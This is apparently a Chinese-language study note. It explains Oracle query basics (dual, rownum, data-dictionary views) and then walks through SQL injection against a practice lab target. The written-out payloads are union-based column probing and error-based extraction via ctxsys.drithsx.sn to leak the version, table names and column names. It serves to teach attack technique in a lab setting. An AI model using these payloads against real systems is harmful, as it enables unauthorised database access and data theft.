Oracle比较死板,非常讲究语法格式
dual 虚表 为了凑格式而存在的
比如你想做加法,MYSQL直接输入select 9+1;就行了,而Oracle需要输入 select 9+1 from dual
在Oracle里面,库被弱化了,用户被强化了。一个用户代表一个库
Oracle常用查询语句:
select *from all_tables 查询出所有的表
select *from user_table 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns 查询出当前用户的字段
一般的网页上面都只会显示最上面的一条数据,而我们想要查看别的数据,这时候就需要用到Oracle独有的rownum
select*from user_tab_columns where table_name="admin" and rownum=1,这样就是取第一条数据,而我们想要取两条数据,我们要写小于三,写rownum=2是没有数据的
rownum这个是对结果标注行号,假如你有三个结果为a b c,将a标注为1,b标注为2,c标注为3,当rownum=1的时候,a就被取出来了,当rownum=2的时候,因为a是不必然等于2的,所以a就取不出来,而你想要两条数据,但是第一条就没办法取出来,那么第二条也就没办法取出来,所以我们要写rownum<3
当我们不想知道第一条数据的内容,想要知道第二条数据的内容时我们该怎么做呢?
Oracle实现limit功能的办法:
1、不等于法
select*from user_tab_columns where table_name='admin' and rownum=1 and column_name <> 'uname'
2、别名法
我们拿这一条语句作为示例, select*from user_tab_columns where table_name='admin' and rownum=1 and column_name <> 'uname',想要得到和这个语句一样的结果,我们就需要用到子查询
select *from(select column_name, rownum n from user_tab_columns where table_name='admin') where n=2
那么这个是如何实现的呢?
(select column_name, rownum n from user_tab_columns where table_name='admin')这个子查询可以得到字段名和行号,里面有UNAME和UPASS两条数据,将他们标注为了1和2,所以语句就变为了
select *from(UNAME①,UPASS②) where n=2,这时候我们加入条件where n=2,就可以得到UPASS这个字段的数据,为啥不用rownum=2是因为有两个rownum会冲突
接下来上靶场
这个流程也是和之前的一样,判断有无注入,判断字段数,然后呢这边判断出来有四个字段
然后我们要开始判断回显点,我们输入 union all select null,null,null,null from dual,先判断字段类型,输入union all select 666,null,null,null from dual页面正常,输入union all select 666,555,null,null from dual页面回显错误,说明类型错误,我们再把它换为 union all select 666,'aa',null,null from dual,页面也显示错误,这时候我们先去看第三个字段,第三个字段也和第二个字段情况一样,既不是字符串也不是数字类型,这时候我们去看第四个字段,输入union all select 666,null,null,888 from dual,这时候页面出现了一个时间
看到这个时间,我们应该要想到时间戳这个东西,时间戳的基准时间是以1970的一月一号的八点钟开始的,我们输入1,这个时间就会加一秒
搞了半天,两个输出点全是数字类型,这样我们想拿到数据就会比较困难,这时候我们可以考虑盲注,或者报错注入,或者转换一下类型,或者是通过函数对字符串的处理让他变为数字。当然了,今天的主题就是报错注入,其他的不考虑
报错注入
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) 去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建)爆出未查询到的错误从而爆出查询的内容
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))
这里为什么需要1=呢,是因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件
查询表名:
我们输入 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))这样就能查询出当前用户的表名,这个admin就是表名,想要知道第二个表名,那就在后面接一个and table_name<>'ADMIN' ,当然,这里也可以用别名法
查询字段:
我们输入and 1=ctxsys.drithsx.sn(1,(select column_name from(select column_name, rownum n from user_tab_columns where table_name='ADMIN') where n=2))
这里我们也可以试试用转换类型的方法来查询数据
to_nchar可以将varchar2转换为nvarchar2,我们可以在这四个字段数的位置上面一个一个试,看哪个能够转换成功,这里我们在第三个字段的位置上面成功了
我们输入 union all select 666,null,to_nchar(table_name),null from user tables
查字段名换函数就好了,查内容的话就是字段名from表名